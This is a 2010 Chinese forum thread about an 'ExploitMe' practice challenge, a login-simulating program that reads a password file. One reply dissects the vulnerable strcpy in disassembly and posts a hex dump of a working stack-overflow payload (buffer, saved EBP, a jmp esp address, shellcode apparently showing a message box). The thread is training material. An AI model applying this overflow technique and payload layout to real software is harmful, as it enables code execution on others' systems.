ExploitMe
本帖最后由 whypro 于 2010-5-23 14:07 编辑以前我们常玩CrackMe这回我们试试ExploitMe
这是一个本地版练习溢出的测试题。
本程序模拟终端登陆时的情况,
所带password.txt文件,是用来输入密码。
正常在password.txt输入1234567会显示如下:
我给个溢出成功的图:
[ 本帖最后由 whypro 于 2010-5-16 21:40 编辑 ] 看看。。。 本帖最后由 whypro 于 2010-5-28 18:28 编辑
如果ls能搞掉这个我送出50分,但必须有溢出文章! https://www.chinapyg.com/viewthread.php?tid=56813&extra=page%3D1
是否合格? ; Attributes: bp-based frame
; int __cdecl sub_401020(char *Str1)
sub_401020 proc near
var_4C= byte ptr -4Ch
Dest= byte ptr -0Ch ;栈大小为 0xc
var_4= dword ptr -4
Str1= dword ptr8
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
lea edi,
mov ecx, 13h
mov eax, 0CCCCCCCCh
rep stosd
push offset Str2 ; "1234567"
mov eax,
push eax ; Str1
call _strcmp
add esp, 8
mov , eax
mov ecx,
push ecx ; Source
lea edx,
push edx ; Dest大小 0xc
call _strcpy ; 很明显的 _strcpy
add esp, 8
mov eax,
pop edi
pop esi
pop ebx
add esp, 4Ch
cmp ebp, esp
call __chkesp
mov esp, ebp
pop ebp
retn
sub_401020 endp
///////////////////////////////////////
push ecx ; Source
lea edx,
push edx ; Dest大小 0xc
call _strcpy ; 很明显的 _strcpy
当 Source 长度大0xc时发后溢出, 最简单的shellcode形式:
buf + ebp + jmp esp + shellcode
长度计算:0xc + 0x4 + 0x4 + shellcode
Offset 01234567 89ABCDEF
00000000 31 32 33 34 35 36 37 3839 30 61 62 63 64 65 66 1234567890abcdef
00000010 12 45 FA 7F 33 DB 53 682E 50 59 47 68 39 36 40 .E?3跾h.PYGh96@
00000020 39 8B C4 53 50 50 53 B8EA 07 D5 77 FF D0 9嬆SPPS戈.誻 过来顶一下! 哈哈,jmp esp搞定退出异常 呵呵,祝贺曹大大!
页:
[1]